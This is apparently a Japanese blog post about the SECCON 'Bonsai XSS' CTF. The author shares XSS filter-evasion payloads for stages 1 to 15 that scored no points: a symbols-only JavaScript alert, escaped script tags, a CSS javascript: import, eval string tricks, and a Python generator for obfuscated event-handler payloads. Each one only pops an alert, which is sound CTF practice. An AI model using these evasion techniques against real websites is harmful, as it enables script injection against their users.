仙豆のレシピ

ちょっとしたことでも書いていく姿勢で

盆栽XSSのために書いたコードを供養する #seccon

得意でもないjsを一生懸命書いたけど点数にならなかったので供養したいと思います。つまりwriteupではない。


問題

stage1~4

記号はブラックリストに入らないことに気づいたので、はせがわさんの記事を参考に記号だけでalertを出した。

";$=+[];$={___:$++,__$:$++,_$_:$++,_$$:$++,$__:$++,$_$:$++,$$_:$++,$$$:$++};($.___)[({}+"")[$.$_$]+({}+"")[$.__$]+({}.$+"")[$.__$]+(!{}+"")[$._$$]+(!!{}+"")[$.___]+(!!{}+"")[$.__$]+({}.$+"")[$.___]+({}+"")[$.$_$]+(!!{}+"")[$.___]+({}+"")[$.__$]+(!!{}+"")[$.__$]][({}+"")[$.$_$]+({}+"")[$.__$]+({}.$+"")[$.__$]+(!{}+"")[$._$$]+(!!{}+"")[$.___]+(!!{}+"")[$.__$]+({}.$+"")[$.___]+({}+"")[$.$_$]+(!!{}+"")[$.___]+({}+"")[$.__$]+(!!{}+"")[$.__$]]((!{}+"")[$.__$]+(!{}+"")[$._$_]+({}+"")[$.$__]+(!!{}+"")[$.__$]+(!!{}+"")[$.___]+"(\'"+"\\"+-~[]+$._$$+-[]+"\\"+-~[]+$._$_+$._$$+"\\"+-~[]+$._$_+$._$$+"\')")($.__$)//

これを随時改変した。

stage5~8

jsの文字列操作とか数値参照とか使えばXSSって文字使わなくてすむとわかったのでそんな感じでやった。

stage5
\x3cscript\x3ealert('AAAAAXSS'.substring(55555-55550))\x3c\x2fscript\x3e

stage6
\u003cscript\u003ealert('\u0058\u0053\u0053')\u003c\u002fscript\u003e

stage7
<STYLE>@import'javascript:alert("DDDDDXSS".slice(66665-66660,88888-88880))';</STYLE>

stage8
<script>eval('alBBBerBBBt'.split('BBB').join("")+'("'+'CCCCCXSS'.substr(99995-99990)+'")')</script>

stage 9~15

ここを参考に、クソ長いjavascriptを生成するpythonコードをつくった。

def gen(tag,eventh,i):
	c=chr(i+98)
	i+=20
	text_con='constructor'
	text_ale='alert("XSS")'
	ret='<'+tag+'/'+eventh+'=\'('+str(i+50)+str(i+50)+')'
	con='['
	for j in range(len(text_con)):
		t=text_con[j]
		con+='"'+c*i+t+'"['+str(i)+']+'
	con=con[:-1]
	con+=']'
	ret+=con*2

	ale='('
	for j in range(len(text_ale)):
		if j==6 or j==10:
			t='\\'+'"'
		else:
			t=text_ale[j]
		ale+='"'+c*i+t+'"['+str(i)+']+'
	ale=ale[:-1]
	ret+=ale

	ret+=')()\'>'

	return ret

print(gen('input','onclick',1))
print('\n\n\n')
print(gen('form','onmousemove',2))
print('\n\n\n')
print(gen('select','onmousedown',3))
print('\n\n\n')
print(gen('option','onmouseup',4))
print('\n\n\n')
print(gen('textarea','onload',5))
print('\n\n\n')
print(gen('input','onselect',6))
print('\n\n\n')
print(gen('input','onkeydown',7))
print('\n\n\n')

で、生成されたコードを元にhtmlタグとイベントハンドラを適当に試行錯誤した。
15個でもいっぱいいっぱいだったのでこれ以降はやってない。

結果

f:id:senz:20141207183723p:plain
やったねrewardとか書いてある!でもなんか変…
→通らなかった

まとめ


なにが悪かったんだろう(´・ω・`)

とりあえず、がんばった割に点数にならなかったコードに黙祷(-人-)